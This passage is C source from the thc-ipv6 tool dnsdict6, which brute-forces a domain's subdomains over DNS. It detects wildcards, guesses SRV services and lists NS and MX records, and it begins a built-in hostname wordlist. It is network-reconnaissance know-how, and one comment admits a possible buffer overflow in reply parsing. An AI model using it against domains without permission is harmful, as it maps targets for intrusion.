[-s|-m|-l|-x|-u] [-t THREADS] [-D] domain " "[dictionary-file]\n\n", prg); printf( "Enumerates a domain for DNS entries, it uses a dictionary file if " "supplied\n"); printf( "or a built-in list otherwise. This tool is based on dnsmap by " "gnucitizen.org.\n\n"); printf("Options:\n"); // printf(" -6 do NOT dump IPv6 addresses\n"); printf(" -4 do also dump IPv4 addresses\n"); printf( " -t NO specify the number of threads to use (default: %d, max: %d).\n", DEFAULT_THREADS, MAX_THREADS); printf(" -D dump the selected built-in wordlist, no scanning.\n"); printf( " -d display IPv6 information on NS and MX DNS domain " "information.\n"); printf(" -e ignore no NS for domain errors\n"); printf(" -S perform SRV service name guessing\n"); printf( " -[smlxu] choose the dictionary size by -s(mall=100), -m(edium=1419) " "(DEFAULT)\n"); printf(" -l(arge=2601), -x(treme=5886) or -u(ber=16724)\n"); printf("\n"); exit(-1); } // return true if the domain seems valid (NS entry exists) int verifyDomain(char *dom) { unsigned char vbuf[1024]; if (res_query(dom, ns_c_in, ns_t_ns, vbuf, sizeof(vbuf)) >= 0) return TRUE; return FALSE; } // return true if domain wildcards are enabled unsigned short int wildcarDetect(char *dom) { char s[MAXSTRSIZE] = ""; unsigned short int i = 0, j, k, max = 8; struct addrinfo hints, *res, *p; void * addr, *addr4; int status; char ipv6str[INET6_ADDRSTRLEN]; char ipv4str[16]; struct sockaddr_in6 *ipv6, *q; struct sockaddr_in * ipv4, *q4; memset(&hints, 0, sizeof hints); hints.ai_family = dof; // AF_INET or AF_INET6 to force version srand(time(NULL)); // generate up to random digits subdomain string // e.g. 06312580442146732554 for (i = 0; i < max; ++i) s[i] = '0' + (rand() % 10); s[max] = 0; strcat(s, "0193."); strcat(s, dom); #if DEBUG printf("random subdomain for wildcard testing: %s\n", s); #endif // random subdomain resolves, thus wildcards are enabled if ((status = getaddrinfo(s, NULL, &hints, &res)) == 0) { fprintf(stderr, "Warning: wildcard domain configured\n"); q = NULL; q4 = NULL; for (p = res; p != NULL; p = p->ai_next) { if (do6 && p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; if (wcard < MAX_WCARD) { memcpy(wildcardIpStr[wcard], addr, 16); wcard++; } inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); printf("*.%s => %s\n", dom, ipv6str); } } else if (do4 && p->ai_family == AF_INET) { ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; if (wcard4 < MAX_WCARD) { memcpy(wildcardIpStr4[wcard4], addr4, 4); wcard4++; } inet_ntop(p->ai_family, addr4, ipv4str, sizeof ipv4str); printf("*.%s -> %s\n", dom, ipv4str); } } } freeaddrinfo(res); } for (i = 0; i < max; ++i) s[i] = 'a' + (rand() % 26); s[max] = 'y'; s[max + 1] = 'c'; s[max + 2] = 'a'; s[max + 3] = 'y'; #if DEBUG printf("random subdomain for wildcard testing: %s\n", s); #endif // random subdomain resolves, thus wildcards are enabled if ((status = getaddrinfo(s, NULL, &hints, &res)) == 0) { if (wcard == 0) fprintf(stderr, "Warning: wildcard domain configured (2nd test)\n"); q = NULL; q4 = NULL; for (p = res; p != NULL; p = p->ai_next) { if (do6 && p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; if (wcard < MAX_WCARD) { k = 1; if (wcard > 0) for (j = 0; j < wcard; j++) if (memcmp(wildcardIpStr[j], addr, 16) == 0) k = 0; if (k) { memcpy(wildcardIpStr[wcard], addr, 16); wcard++; inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); printf("*.%s => %s\n", dom, ipv6str); } } } } else if (do4 && p->ai_family == AF_INET) { ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; if (wcard4 < MAX_WCARD) { k = 1; if (wcard4 > 0) for (j = 0; j < wcard4; j++) if (memcmp(wildcardIpStr4[j], addr4, 4) == 0) k = 0; if (k) { memcpy(wildcardIpStr4[wcard4], addr4, 4); wcard4++; inet_ntop(p->ai_family, addr4, ipv4str, sizeof ipv4str); printf("*.%s -> %s\n", dom, ipv4str); } } } } } freeaddrinfo(res); } if (wcard) return TRUE; else return FALSE; } // return number of milliseconds delayed unsigned short int dodelay(unsigned short int maxmillisecs) { unsigned short int n = 0; srand(time(NULL)); n = rand() % maxmillisecs; ++n; maxmillisecs = n; #if DEBUG printf("sleeping %d milliseconds ...\n", maxmillisecs); #endif usleep(maxmillisecs * 1000); return maxmillisecs; } // return true if domain is valid, false otherwise int isValidDomain(char *d) { unsigned int i = 0; char * tld; size_t len; if (d[strlen(d) - 1] == '.') d[strlen(d) - 1] = 0; if (strlen(d) < 4) // smallest possible domain provided. e.g. a.de return FALSE; if (!strstr(d, ".")) // target domain must have at least one dot. e.g. // target.va, branch.target.va return FALSE; if (strlen(d) > 100) return FALSE; tld = strstr(d, "."); tld = tld + 1; while (strstr(tld, ".")) { tld = strstr(tld, "."); tld = tld + 1; } #if DEBUG printf("tld\'s length: %d\n", strlen(tld)); printf("dom: %s tld: %s\n", d, tld); #endif if ((strlen(tld) < 2) || (strlen(tld) > 6)) // tld must be between 2-6 char. e.g. .museum, .uk return FALSE; // valid domain can only contain digits, letters, dot (.) and dash symbol (-) len = strlen(d); for (i = 0; i < len; ++i) { if (!(d[i] >= '0' && d[i] <= '9') && !(d[i] >= 'a' && d[i] <= 'z') && !(d[i] >= 'A' && d[i] <= 'Z') && !(d[i] >= '-' && d[i] <= '.')) return FALSE; } return TRUE; } void threaded_resolve(char *list[]) { int i = 0, j, k; char dom[MAXSTRSIZE] = "", *foo = "", buf[1024]; void * addr, *addr4; struct addrinfo hints, *res, *p; int status, found2; char ipv6str[INET6_ADDRSTRLEN], ipv4str[16]; struct sockaddr_in6 *ipv6, *q; struct sockaddr_in * ipv4, *q4; memset(&hints, 0, sizeof hints); hints.ai_family = dof; // AF_INET or AF_INET6 to force version if (type == NULL) type = foo; i = 0; while (list[i] != NULL && list[i][0] != 0) { snprintf(dom, sizeof(dom), "%s.%s", list[i], domain); #if DEBUG printf("brute-forced domain: %s\n", dom); #endif // ipv6 code modded from www.kame.net if ((status = getaddrinfo(dom, NULL, &hints, &res)) == 0) { q = NULL; q4 = NULL; found2 = 0; for (p = res; p != NULL; p = p->ai_next) { if (do6 && p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); // convert the IP to a string and print it: if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; k = 1; if (wcard) for (j = 0; j < wcard; j++) if (memcmp(addr, wildcardIpStr[j], 16) == 0) k = 0; if (k) { if (found2 == 0) { ++found; found2 = 1; } inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); sprintf(buf, "%s => %s\n", dom, ipv6str); printf("%s", buf); ++ipCount; if (ucount < MAX_UNIQUE) { if (ucount) for (j = 0; j < ucount; j++) if (memcmp(addr, unique[j], 16) == 0) k = 0; if (k) { memcpy(unique[ucount], addr, 16); ucount++; } } } } } else if (do4 && p->ai_family == AF_INET) { ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; k = 1; if (wcard4) for (j = 0; j < wcard4; j++) if (memcmp(wildcardIpStr4[j], addr4, 4) == 0) k = 0; if (k) { if (found2 == 0) { ++found; found2 = 1; } inet_ntop(p->ai_family, addr4, ipv4str, sizeof ipv4str); sprintf(buf, "%s => %s\n", dom, ipv4str); printf("%s", buf); ++ipCount4; if (ucount4 < MAX_UNIQUE) { if (ucount4) for (j = 0; j < ucount4; j++) if (memcmp(addr4, unique4[j], 4) == 0) k = 0; if (k) { memcpy(unique4[ucount4], addr4, 4); ucount4++; } } } } } } freeaddrinfo(res); // free the linked list } // end of if conditional // user wants delay between DNS requests? if (do_a_delay) dodelay(milliseconds); i++; } return; } int dnsquerycode(char *sub, char *domain, int type) { char vbuf[256], dom[256]; memset(vbuf, 0, sizeof(vbuf)); snprintf(dom, sizeof(dom), "%s.%s", sub, domain); res_query(dom, ns_c_in, type, vbuf, sizeof(vbuf)); if (vbuf[2] == 0) return -1; else return (vbuf[3] & 15); } void threaded_resolve_srv(char *list[]) { char dom[MAXSTRSIZE] = "", buf[1024]; int len, cnt, i, j, k, found = 0, found1, found4 = 0, found2; unsigned short int * port, *prio, *weight; unsigned char vbuf[1500], *vptr; char dbuf[256]; struct addrinfo hints, *res, *p; struct sockaddr_in6 *ipv6, *q; char ipv6str[INET6_ADDRSTRLEN], ipv4str[16]; struct sockaddr_in * ipv4, *q4; void * addr, *addr4; if (type == NULL) return; memset((char *)&hints, 0, sizeof(hints)); hints.ai_family = dof; i = 0; while (list != NULL && list[i] != NULL && list[i][0] != 0) { snprintf(dom, sizeof(dom), "%s.%s.%s", list[i], type, domain); memset(vbuf, 0, 4); #if DEBUG printf("brute-forced domain: %s\n", dom); #endif if ((len = res_query(dom, ns_c_in, ns_t_srv, vbuf, sizeof(vbuf))) > 0 && (vbuf[3] & 15) == 0 && (cnt = vbuf[7]) > 0) { vptr = vbuf + strlen(dom) + 17; ucountsrv++; for (j = 0; j < cnt && len - (vptr - vbuf) >= 20; j++) { vptr += 10; k = vptr[1] + vptr[0] * 256; vptr += 2; prio = (unsigned short int *)(vptr); weight = (unsigned short int *)(vptr + 2); port = (unsigned short int *)(vptr + 4); dbuf[0] = 0; dn_expand(vbuf, vbuf + len, vptr + 6, dbuf, sizeof(dbuf)); if (getaddrinfo(dbuf, NULL, &hints, &res) == 0) { q = NULL; q4 = NULL; found1 = 0; found2 = 0; for (p = res; p != NULL; p = p->ai_next) { if (do6 && p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; // convert the IP to a string and print it: inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); snprintf(buf, sizeof(buf), "%s => %s is %s port %d %s (prio %d weight %d)\n", dom, dbuf, ipv6str, htons(*port), strcmp(type, "_tcp") == 0 ? "TCP" : "UDP", htons(*prio), htons(*weight)); printf("%s", buf); if (found1 == 0) { ++found; found1 = 1; } } } else if (do4 && p->ai_family == AF_INET) { // IPv4 ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; // convert the IP to a string and print it: inet_ntop(p->ai_family, addr4, ipv4str, sizeof ipv4str); snprintf(buf, sizeof(buf), "%s => %s is %s port %d %s (prio %d weight %d)\n", dom, dbuf, ipv4str, htons(*port), strcmp(type, "_tcp") == 0 ? "TCP" : "UDP", htons(*prio), htons(*weight)); printf("%s", buf); if (found2 == 0) { ++found4; found2 = 1; } } } } freeaddrinfo(res); } else { snprintf(buf, sizeof(buf), "%s => %s port %d %s (prio %d weight %d)\n", dom, dbuf, htons(*port), strcmp(type, "_tcp") == 0 ? "TCP" : "UDP", htons(*prio), htons(*weight)); printf("%s", buf); } vptr += k; ucountsrvs++; } } // else printf("srv: %s %d len %d code %d valid\n", dom, len, (vbuf[3] & // 15), vbuf[2]); if ((vbuf[3] & 15) == 0 && vbuf[2] > 0) { memset(vbuf, 0, 4); if ((len = res_query(dom, ns_c_in, ns_t_any, vbuf, sizeof(vbuf))) > 0 && (vbuf[3] & 15) == 0 && (cnt = vbuf[7]) > 0) { if ((vbuf[2] & 2) == 2) fprintf(stderr, "Warning: truncated answer for entry \"%s\" type ANY\n", dom); vptr = vbuf + strlen(dom) + 17; ucountsrv++; for (j = 0; j < cnt && len - (vptr - vbuf) >= 20; j++) { k = vptr[11] + vptr[10] * 256; if (vptr[2] == 0 && vptr[3] == 0x0c) { dbuf[0] = 0; dn_expand(vbuf, vbuf + len, vptr + 12, dbuf, sizeof(dbuf)); if (getaddrinfo(dbuf, NULL, &hints, &res) == 0) { q = NULL; q4 = NULL; found1 = 0; found2 = 0; for (p = res; p != NULL; p = p->ai_next) { if (do6 && p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; // convert the IP to a string and print it: inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); snprintf(buf, sizeof(buf), "%s => %s is %s\n", dom, dbuf, ipv6str); printf("%s", buf); if (found1 == 0) { ++found; found1 = 1; } } } else if (do4 && p->ai_family == AF_INET) { // IPv4 ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; // convert the IP to a string and print it: inet_ntop(p->ai_family, addr4, ipv4str, sizeof(ipv4str)); snprintf(buf, sizeof(buf), "%s => %s is %s\n", dom, dbuf, ipv4str); printf("%s", buf); if (found2 == 0) { ++found4; found2 = 1; } } } } freeaddrinfo(res); } else { snprintf(buf, sizeof(buf), "%s => %s\n", dom, dbuf); printf("%s", buf); } } vptr += k + 12; ucountsrvs++; } } // else printf("ptr: %s %d len %d code %d valid\n", dom, len, (vbuf[3] & // 15), vbuf[2]); } // user wants delay between DNS requests? if (do_a_delay) dodelay(milliseconds); i++; } return; } // there be dragons. This might have a buffer overflow in here if the dns // server sends a malformed DNS reply. luckily we dont copy anything here. void dump_dns(char *dom, int type) { int len, cnt, i, j, found = 0, found1, found4 = 0, allfound = 0, found2; unsigned char vbuf[1500], *vptr = vbuf + 2; char dbuf[256], fbuf[256][256]; struct addrinfo hints, *res, *p; struct sockaddr_in6 *ipv6, *q; char ipv6str[INET6_ADDRSTRLEN], ipv4str[16]; struct sockaddr_in * ipv4, *q4; void * addr, *addr4; memset((char *)&hints, 0, sizeof(hints)); hints.ai_family = dof; if (((len = res_query(dom, ns_c_in, type, vbuf, sizeof(vbuf))) < (30 + strlen(dom))) || ((*vptr & 0x82) != 0x80) || ((*(vptr + 1) & 0x0f) != 0)) { fprintf(stderr, "Warning: no %s information found\n", type == ns_t_ns ? "name server (NS)" : "mail server (MX)"); return; } vptr += 4; cnt = *vptr * 256 + *(vptr + 1); if (cnt < 1 || cnt > 16) { fprintf(stderr, "Warning: no %s information found\n", type == ns_t_ns ? "name server (NS)" : "mail server (MX)"); return; } vptr += 6; vptr += strlen(dom) + 1; vptr += 4; // we are no at the beginning of the answer section do { vptr += 10; if (type == ns_t_mx) vptr += 2; dbuf[0] = 0; dn_expand(vbuf, vbuf + len, vptr + 2, dbuf, sizeof(dbuf)); #if DEBUG printf("Found %s for %s: %s\n", type == ns_t_mx ? "MX" : "NS", dom, dbuf); #endif if (vptr < vbuf + len && dbuf[0] != 0) { // BOF protection dbuf[255] = 0; i = 0; if (allfound > 0) { for (j = 0; j < allfound; j++) if (strcmp(dbuf, fbuf[j]) == 0) i = 1; } strcpy(fbuf[allfound], dbuf); allfound++; if (i == 0 && getaddrinfo(dbuf, NULL, &hints, &res) == 0) { q = NULL; q4 = NULL; found1 = 0; found2 = 0; for (p = res; p != NULL; p = p->ai_next) { if (do6 && p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; // convert the IP to a string and print it: inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); printf("%s of %s is %s. => %s\n", type == ns_t_mx ? "MX" : "NS", dom, dbuf, ipv6str); if (found1 == 0) { ++found; found1 = 1; } } } else if (do4 && p->ai_family == AF_INET) { // IPv4 ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; // convert the IP to a string and print it: inet_ntop(p->ai_family, addr4, ipv4str, sizeof ipv4str); printf("%s of %s is %s. => %s\n", type == ns_t_mx ? "MX" : "NS", dom, dbuf, ipv4str); if (found2 == 0) { ++found4; found2 = 1; } } } } freeaddrinfo(res); } } if (type == ns_t_ns) vptr += vptr[1] + 2; else vptr += vptr[-1]; cnt--; } while (vptr < vbuf + len && cnt > 0); if (found == 0 && do6) printf("No IPv6 address for %s entries found in DNS for domain %s\n", type == ns_t_mx ? "MX" : "NS", dom); if (found4 == 0 && do4) printf("No IPv4 address for %s entries found in DNS for domain %s\n", type == ns_t_mx ? "MX" : "NS", dom); } int main(int argc, char *argv[]) { unsigned short wordlist = FALSE, threads = 8, dumpit = 0, showdns = 0; unsigned long int wcount = 0; int i = 0, j, k, ignore_ns_error = 0; char dom[MAXSTRSIZE] = "", *wordlistFilename = NULL; FILE * fpWords; char typ = 't', **sub_orig; pthread_t thread[MAX_THREADS]; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); do4 = 1; do6 = 1; if (argv[0] != NULL && argv[0][0] != 0) i = argv[0][strlen(argv[0]) - 1]; if (i == '4') do6 = 0; if (i == '6') do4 = 0; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0 || strncmp(argv[1], "--h", 3) == 0) help(argv[0]); while ((i = getopt(argc, argv, "det:smlxuSD46")) >= 0) { switch (i) { case '4': do4 = 1; break; case '6': do6 = 0; break; case 'd': showdns = 1; break; case 'e': ignore_ns_error = 1; break; case 't': threads = atoi(optarg); break; case 's': sub = (char **)sub_small; break; case 'm': sub = (char **)sub_medium; break; case 'l': sub = (char **)sub_large; break; case 'x': sub = (char **)sub_xtreme; break; case 'u': sub = (char **)sub_uber; break; case 'D': dumpit = 1; break; case 'S': dosrv = 1; break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } if (do4 && do6) dof = 0; else if (do4 && do6 == 0) dof = AF_INET; else dof = AF_INET6; if (threads > MAX_THREADS) { threads = MAX_THREADS; fprintf(stderr, "Warning: setting threats to maximum of %d\n", threads); } if (threads < 1) threads = 1; if (dumpit) { i = 0; while (sub[i] != NULL && sub[i][0] != 0) printf("%s\n", sub[i++]); exit(0); } if (argc == optind || argc > optind + 2) { fprintf(stderr, "Error: invalid options, try \"-h\" for help!\n"); exit(-1); } if (argc > (optind + 1)) { wordlist = TRUE; wordlistFilename = argv[optind + 1]; } for (i = 0; argv[optind][i]; ++i) // convert domain to lower case argv[optind][i] = (tolower(argv[optind][i])); strcpy(domain, argv[optind]); if (domain[strlen(domain) - 1] == '.') domain[strlen(domain) - 1] = 0; #if DEBUG printf("domain: %s\n", domain); #endif if (isValidDomain(domain) < 0) { fprintf(stderr, "Error: domain seems not to be valid: %s\n", domain); exit(-1); } strcat(domain, "."); if (verifyDomain(domain) != TRUE) { fprintf(stderr, "Error: no name server (NS) entry for domain %s exists\n", domain); if (ignore_ns_error == 0) exit(-1); } printf("Starting DNS enumeration work on %s ...\n", domain); if (showdns) { printf("Gathering NS and MX information...\n"); dump_dns(domain, ns_t_ns); dump_dns(domain, ns_t_mx); printf("\n"); } if (dosrv) { sub_orig = sub; sub = (char **)sub_srv; printf("Starting SRV service enumeration\n"); printf("Estimated time to completion: 1 to 4 minutes\n"); lists = malloc(threads * sizeof(void *)); for (i = 0; i < threads; i++) { listptr[i] = 0; lists[i] = malloc(65536 * sizeof(int)); } i = j = 0; while (sub[j] != NULL && sub[j][0] != 0) { lists[i][listptr[i]] = malloc(strlen(sub[j]) + 1); strcpy(lists[i][listptr[i]], sub[j]); listptr[i] += 1; i++; if (i >= threads) i = 0; wcount++; j++; } for (k = 0; k < threads; k++) { lists[k][listptr[k]] = malloc(2); lists[k][listptr[k]][0] = 0; lists[k][listptr[k] + 1] = NULL; } type = "_tcp"; if (dnsquerycode(type, domain, ns_t_srv) == 0) { dosrv++; for (i = 0; i < threads; i++) pthread_create(&thread[i], NULL, (void *)threaded_resolve_srv, (void *)lists[i]); for (i = 0; i < threads; i++) pthread_join(thread[i], NULL); } else printf("No SRV entries for TCP\n"); type = "_udp"; if (dnsquerycode(type, domain, ns_t_srv) == 0) { dosrv++; for (i = 0; i < threads; i++) pthread_create(&thread[i], NULL, (void *)threaded_resolve_srv, (void *)lists[i]); for (i = 0; i < threads; i++) pthread_join(thread[i], NULL); } else printf("No SRV entries for UDP\n"); if (dosrv > 1) printf("Found %d services with %d entries altogether\n\n", ucountsrv, ucountsrvs); sub = sub_orig; type = NULL; } lists = malloc(threads * sizeof(void *)); for (i = 0; i < threads; i++) { listptr[i] = 0; lists[i] = malloc(65536 * sizeof(int)); } wcount = 0; // split wordlist to thread lists if (wordlist == TRUE) { fpWords = fopen(wordlistFilename, "r"); if (fpWords) { i = 0; while (!feof(fpWords)) { j = fscanf( fpWords, "%100s", dom); // wordlist subdomain not allowed to be more than 100 chars // put in list here lists[i][listptr[i]] = malloc(strlen(dom) + 1); strcpy(lists[i][listptr[i]], dom); listptr[i] += 1; if (listptr[i] >= 65534) { fprintf(stderr, "Error: wordlist too large (max: %d)!\n", 65536 * threads); exit(-1); } i++; wcount++; if (i >= threads) i = 0; } } else { fprintf(stderr, "Error: could not open file %s\n", wordlistFilename); exit(-1); } fclose(fpWords); } else { i = j = 0; while (sub[j] != NULL && sub[j][0] != 0) { lists[i][listptr[i]] = malloc(strlen(sub[j]) + 1); strcpy(lists[i][listptr[i]], sub[j]); listptr[i] += 1; i++; if (i >= threads) i = 0; wcount++; j++; } } for (k = 0; k < threads; k++) { lists[k][listptr[k]] = malloc(2); lists[k][listptr[k]][0] = 0; lists[k][listptr[k] + 1] = NULL; } if (wcount < threads) threads = wcount; printf("Starting enumerating %s - creating %d threads for %d words...\n", domain, threads, (int)wcount); printf("Estimated time to completion: %d to %d minute%s\n", (int)((wcount / 300) / threads) + 1, (int)((wcount / 90) / threads) + 1, ((wcount / 60) / threads) + 1 > 1 ? "s" : ""); // wildcard detection wildcarDetect(domain); for (i = 0; i < threads; i++) pthread_create(&thread[i], NULL, (void *)threaded_resolve, (void *)lists[i]); for (i = 0; i < threads; i++) pthread_join(thread[i], NULL); if (do4 && do6) printf( "\nFound %d domain name%s, %d unique ipv4 and %d unique ipv6 addresses " "for %s\n", found, found == 1 ? "" : "s", ucount4 + wcard4, ucount + wcard, domain); else if (do4) printf("\nFound %d domain name%s and %d unique ipv4 address%s for %s\n", found, found == 1 ? "" : "s", ucount4 + wcard4, (ucount4 + wcard4) == 1 ? "" : "s", domain); else printf("\nFound %d domain name%s and %d unique ipv6 address%s for %s\n", found, found == 1 ? "" : "s", ucount + wcard, (ucount + wcard) == 1 ? "" : "s", domain); return 0; } thc-ipv6-3.8/dnsdict6.h000066400000000000000000030640151376121567700147430ustar00rootroot00000000000000/* * dnsdict.h (c) 2020 by van Hauser / THC * */ // built-in list of hostnames char *sub_small[] = { "6", "6net", "6to4", "admin", "blog", "blog6", "dev", "dns", "dns1", "dns2", "email", "exchange", "firewall", "ftp", "fw", "gate", "gateway", "gw", "gw6", "host", "host1", "host10", "host11", "host12", "host2", "host3", "host4", "host5", "host6", "host7", "host8", "host9", "imap", "ip6", "ipv6", "ipv6-gw", "ipv6-router", "ipv6gw", "irc", "mail", "mail1", "mail2", "mail3", "mail6", "mailgate", "mailhost", "mx", "mx1", "mx2", "mx3", "mx6", "net", "news", "ns", "ns1", "ns2", "ns3", "nsv6", "ntp", "ntp1", "office", "owa", "pc1", "pc2", "pc3", "pop", "pop3", "portal", "proxy", "remote", "router", "secure", "server", "server1", "smtp", "smtp2", "sql", "support", "test", "time", "tunnel", "v6", "v6gw", "v6www", "video6", "vpn", "vps", "web", "web1", "webmail", "wiki", "www", "www-6", "www-ipv6", "www-v6", "www1", "www2", "www6", "wwwipv6", "wwwv6", ""}; char *sub_medium[] = {"0", "1", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1a", "1b", "1c", "1d", "1e", "1f", "2", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2b", "2c", "2d", "2e", "2f", "3", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3b", "3c", "3d", "3e", "3f", "4", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4c", "4d", "4e", "4f", "5", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5b", "5c", "5d", "5e", "5f", "6", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6b", "6c", "6d", "6e", "6f", "6net", "6test", "6to4", "7", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7b", "7c", "7d", "7e", "7f", "8", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8c", "8d", "8e", "8f", "9", "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9b", "9c", "9d", "9e", "9f", "a", "a0", "a1", "a2", "a20", "a3", "a4", "a5", "a6", "a7", "a8", "a9", "aa", "aaa", "ab", "abc", "ac", "access", "ad", "admin", "adns1", "adsl", "ae", "ae-0", "ae-1", "ae-2", "af", "aftr", "agenda", "agent", "ak", "alice", "allen", "alpha", "amanda", "ams-core-1", "antares", "ap", "apache", "api", "apollo", "app", "app1", "apple", "apply", "apps", "ar01", "ar02", "ares", "as", "as0", "as1", "asterix", "athena", "atlantis", "atlas", "atom", "auth", "autodiscover", "av", "avalon", "b", "b0", "b1", "b2", "b3", "b4", "b5", "b6", "b7", "b8", "b9", "ba", "backup", "backups", "banana", "barracuda", "bart", "bb", "bbs", "bbs6", "bc", "bcast", "bd", "be", "bender", "beta", "bf", "billing", "black", "blade", "blog", "blog6", "blogs", "blue", "bm0", "bm1", "bm2", "bnc", "bob", "bot", "brain", "broadcast", "bt", "bt6", "bug", "bugs", "bugzilla", "build", "c", "c0", "c1", "c2", "c3", "c4", "c5", "c6", "c7", "c8", "c9", "ca", "cache", "calendar", "callisto", "calypso", "cam", "cas", "casper", "cat", "catalog", "cb", "cc", "ccxvii", "cd", "ce", "centos", "cert", "cf", "cgi", "ch", "charlie", "charon", "chat", "chicago", "chris", "chronos", "ci", "ci53", "ci96", "cisco", "cisco2", "citrix", "client", "cloud", "clyde", "cm0", "cm1", "cms", "cn", "code", "conf", "conference", "connect", "console", "contact", "core", "core1", "correo", "cp", "cr1", "cr2", "cricket", "crm", "cs", "customer", "cvs", "d", "d0", "d1", "d10", "d11", "d12", "d13", "d14", "d15", "d16", "d17", "d18", "d19", "d2", "d20", "d21", "d22", "d23", "d24", "d25", "d26", "d27", "d28", "d29", "d3", "d30", "d31", "d32", "d33", "d34", "d35", "d36", "d37", "d38", "d39", "d4", "d40", "d41", "d42", "d43", "d44", "d45", "d46", "d47", "d48", "d49", "d5", "d50", "d51", "d52", "d53", "d54", "d55", "d56", "d57", "d58", "d59", "d6", "d60", "d61", "d62", "d63", "d64", "d65", "d66", "d67", "d69", "d7", "d70", "d72", "d73", "d74", "d76", "d77", "d78", "d79", "d8", "d80", "d81", "d82", "d83", "d84", "d85", "d86", "d87", "d88", "d89", "d9", "d90", "d91", "d92", "d93", "d94", "d95", "d96", "d97", "d98", "d99", "da", "data", "db", "db1", "db2", "dc", "dd", "de", "debian", "decix", "defiant", "dell", "delta", "demo", "demon-gw", "desktop", "dev", "devel", "df", "dh", "dhcp", "dhcp-pool", "diana", "dict", "dione", "directory", "dl", "dns", "dns0", "dns01", "dns02", "dns1", "dns2", "dns3", "dns4", "dnscache1", "dnscache2", "doc", "docs", "download", "downloads", "dragon", "drupal", "ds", "dsl", "e", "e0", "e1", "e2", "e3", "e4", "e5", "e6", "e7", "e8", "e9", "ea", "eagle", "earth", "eb", "ec", "echo", "ed", "edge", "edu", "ee", "ef", "efnet", "em", "email", "en", "eng", "enigma", "enterprise", "epp", "eprints", "es", "et", "eth0", "eth1", "europa", "eve", "events", "ex", "exchange", "exeter", "extranet", "f", "f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "fa", "fa0-0", "falcon", "fax", "fb", "fc", "fd", "fe", "fe0-0", "ff", "fi", "fiberlink", "fido", "files", "finger", "firewall", "flash", "flow", "forum", "forums", "fox", "foxtrot", "frank", "fred", "freebsd", "fry", "fs", "ftp", "ftp1", "ftp2", "ftp3", "ftp6", "fw", "fw1", "fw2", "g", "gaia", "galatea", "gallery", "gamma", "gandalf", "gate", "gatekeeper", "gateway", "gauss", "gc", "ge-0", "gemini", "gentoo", "gh", "git", "gk", "go", "gold", "golf", "gopher", "green", "guest", "guide", "gw", "gw01", "gw1", "gw2", "gw6", "h1", "ha", "hades", "hal", "he", "helene", "help", "helpdesk", "hera", "hermes", "hg", "hh", "hobbes", "home", "homer", "host", "host1", "host10", "host11", "host12", "host13", "host14", "host15", "host16", "host17", "host18", "host19", "host2", "host20", "host21", "host22", "host23", "host24", "host25", "host26", "host27", "host28", "host29", "host3", "host30", "host31", "host32", "host33", "host34", "host35", "host36", "host37", "host38", "host39", "host4", "host40", "host41", "host42", "host43", "host44", "host45", "host46", "host47", "host48", "host49", "host5", "host50", 